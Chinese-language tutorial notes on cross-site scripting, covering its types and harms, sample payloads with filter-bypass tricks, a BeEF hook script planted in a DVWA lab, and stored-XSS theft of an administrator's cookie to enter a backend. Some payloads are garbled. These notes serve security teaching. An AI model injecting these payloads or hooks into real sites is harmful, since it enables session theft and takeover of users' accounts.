XSS
一、简介
曾经很有用的洞,目前很少有用武之地,首先在真实目标中,xss实际意义不大,挖掘困难大,存储型很少,就算打到cookie,由于防护的存在也没有用
XSS:Cross Site Script (跨站脚本攻击)
攻击原理:攻击者在web页面插入恶意html标签或js代码,当用户对网页执行某些操作时,插入的代码将会被执行
**作用:**盗取cookie、xss蠕虫
- OWASP TOP10之一,XSS被称为跨站脚本攻击(Cross-site-scripting)
- 主要基于java script(JS)完成恶意攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。
- XSS通过将精心构造代码(JS)代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。
- 微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。
二、xss攻击危害
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马让更多人的受害
7、控制受害者机器向其它网站发起攻击卖肉机
三、分类:
反射型xss:也称为非持久型、参数型跨站脚本。它是将攻击代码放在 URL 参数中,仅对当前的页面产生影响,而不是存储到服务器,因此需要诱使用户点击才能触发攻击。
**存储型xss:**存储型被称为持久型跨站脚本。攻击者将恶意代码存储到服务器上,只要诱使受害者访问被插入恶意代码的页面即可触发。存储型 XSS 经常出现在一些可以发表评论的地方,如帖子、博客。
**DOM型xss:**DOM 型 XSS是基于文档对象模型(Document Object Model DOM),用于将 Web 页面与脚本语言连接起来的标准编程接口)的一种漏洞,它不经过服务端,而是通过 URL 传入参数去触发,因此也属于反射型 XSS。也有可能是存储型的。
四、攻击流程
五、xss产生原因
Web应用对用户输入过滤不严谨
攻击者写入恶意的脚本代码到网页中
用户访问了含有恶意代码的网页
恶意脚本就会被浏览器解析执行并导致用户被攻击
六、构造xss攻击脚本
(一)基础知识
常用的html标签
<iframe>iframe标签会创建包含另外一个文档的内联框架
<textarea>textarea标签定义多行的文本输入控件
<img>img标签向网页中嵌入一幅图像
<script>script标签用于定义客户端脚本,比如JavaScript
script标签既可以包含脚本语句,也可以通过src属性指向外部脚本文件
必需的type属性规定脚本的类型。
JavaScript的常见应用是图像操作、表单验证以及动态内容更新。
常用的js脚本
alert alert方法用于显示带有一条指定消息和一个确认按钮的警告框window.location window.location对象用于获得当前页面的地址(URL)并把浏览器重定向到新的页面
location.href 返回当前显示的文档的完整URL
onload 一张页面或一幅图像完成加载
onsubmit 一个按钮被点击
onerror 在加载文档或图像时发生错误
(二)构造脚本的方式
-
弹窗警告
-
图片标签利用
- 图像标签,有一定的隐蔽性,当src为空或者#时,会执行onerror
<img src="#" onerror=alert('欢迎来钓鱼')>
- 图像标签,有一定的隐蔽性,当src为空或者#时,会执行onerror
-
绕开过滤的脚本
- 大小写
<Scrlpt>alert('xss')</SCRipt>
字符编码字符编码采用URL、Base64、HTML等编码
<img src=x onerror="java 5cript� 058alert� 00040'XSS'&# 0000041">
- 大小写
-
存储型xss基本演示
<script>alter('hack')</script>
,每一个访问这个网页的人都会弹出这个对话框
-
访问恶意代码(网站种马)
- 诱导用户访问恶意网站的攻击文件xss.js,比如获取用户cookie稍后会通过BeFF建立恶意站点。
七、自动XSS攻击
(一)BeEF简介
Browser Exploitation Framework(BeEF)
BeEF是目前强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单http://beefproject.com/
(二)BeEF功能
- 信息收集
- 网络发现
- 主机信息
- Cookie获取
- 会话劫持
- 键盘记录
- 插件信息
- 持久化控制
- 确认弹框
- 小窗口
- 中间人
- 社会工程
- 点击劫持
- 弹窗警告
- 虚假页面
- 钓鱼页面
- 渗透攻击
- 内网渗透
- Metasploit
- CSRF攻击
- DDOS攻击
(三)利用BeFF自动XSS攻击
1、kali中启动BeFF
2、登录BeEF:http://192.168.137.132:3000/ui/panel用户名beef密
码123456
3、在dvwa网站中植入xss
DVWA清空缓存,DVWA植入XSS
<script src="http://192.168.137.132:3000/hook.js"></script>
变成肉鸡,成功上线
4、社工攻击范例
命令的颜色区别
绿色对目标主机生效并且不可见(不会被发现)
获得肉机的正在运行的页面
橙色对目标主机生效但可能可见(可能被发现)
灰色对目标主机未必生效(可验证下)
红色对目标主机不生效
八、利用
1、判断是否存在xss
一般xss利用地点存在于留言、反馈等地点
**反射型:**在url框里加上<script>alert('xss')</script>
一般都会借助于短网址,实际上反射型也没有人会去用
**存储型:**用alert弹一个框<script>alert('xss')</script>
2、利用存储型xss
在xss平台使用默认模块生成xss代码
模拟管理员查看留言
当管理员查看留言的那一刻就已经中招了
在xss平台上我们可以看到得到了cookie信息
使用工具或插件即可利用cookie成功进入后台